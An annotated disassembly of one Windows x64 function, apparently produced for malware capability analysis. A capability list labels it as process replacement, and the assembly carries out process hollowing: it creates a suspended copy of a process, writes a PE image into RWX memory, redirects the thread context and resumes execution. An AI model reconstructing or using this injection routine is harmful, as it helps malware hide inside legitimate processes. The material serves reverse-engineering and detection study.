Function at 0x140004260
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Enumerate pe sections
Resolve function by parsing pe exports
Resume thread
Use process replacement

Disassembly:
sub rsp, 0x9f8
mov rax, qword [0x14031d040]
xor rax, rsp
mov qword [rsp + 0x9f0], rax
mov qword [rsp + 0x68], rdx
mov qword [rsp + 0x90], rcx
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x88]
movsxd rcx, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp + 0x60], rax
lea rdx, [rsp + 0x120]
xor ecx, ecx
mov r8d, 0x400
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rax, qword [rsp + 0x60]
cmp dword [rax], 0x4550
jne 0x140004534
lea rcx, [rsp + 0x108]
xor edx, edx
mov r8d, 0x18
call fcn.140011b60
lea rcx, [rsp + 0xa0]
xor edx, edx
mov r8d, 0x68
call fcn.140011b60
mov dword [rsp + 0xa0], 0x68
lea rcx, [rsp + 0x120]
xor eax, eax
lea rax, [rsp + 0xa0]
lea r10, [rsp + 0x108]
xor edx, edx
xor r8d, r8d
xor r9d, r9d
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], r10
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp eax, 0
je 0x140004532
mov dword [rsp + 0x550], 0x10000b
mov rcx, qword [rsp + 0x110]
lea rdx, [rsp + 0x520]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
cmp eax, 0
je 0x140004530
mov rdx, qword [rsp + 0x5a8]
add rdx, 0x10
mov rcx, qword [rsp + 0x108]
lea r8, [rsp + 0x98]
mov r9d, 8
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x60]
mov r8d, dword [rax + 0x50]
mov rax, qword [rsp + 0x60]
mov rdx, qword [rax + 0x30]
mov rcx, qword [rsp + 0x108]
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x60]
mov r9d, dword [rax + 0x54]
mov r8, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x108]
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rsp + 0x5c], 0
mov eax, dword [rsp + 0x5c]
mov rcx, qword [rsp + 0x60]
movzx ecx, word [rcx + 6]
cmp eax, ecx
jge 0x1400044b1
mov rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x88]
movsxd rcx, dword [rcx + 0x3c]
add rax, rcx
add rax, 0x108
movsxd rcx, dword [rsp + 0x5c]
imul rcx, rcx, 0x28
add rax, rcx
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
mov r9d, dword [rax + 0x10]
mov r8, qword [rsp + 0x68]
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0x14]
add r8, rax
mov rdx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0xc]
add rdx, rax
mov rcx, qword [rsp + 0x108]
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [rsp + 0x5c]
add eax, 1
mov dword [rsp + 0x5c], eax
jmp 0x140004425
mov r8, qword [rsp + 0x60]
add r8, 0x18
add r8, 0x18
mov rdx, qword [rsp + 0x5a8]
add rdx, 0x10
mov rcx, qword [rsp + 0x108]
mov r9d, 8
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x60]
mov ecx, dword [rcx + 0x28]
add rax, rcx
mov qword [rsp + 0x5a0], rax
mov rcx, qword [rsp + 0x110]
lea rdx, [rsp + 0x520]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x110]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [rsp + 0x84], 0
jmp 0x14000453f
jmp 0x140004532
jmp 0x140004534
mov dword [rsp + 0x84], 0xffffffff
mov rcx, qword [rsp + 0x9f0]
xor rcx, rsp
call fcn.140009560
nop
add rsp, 0x9f8
ret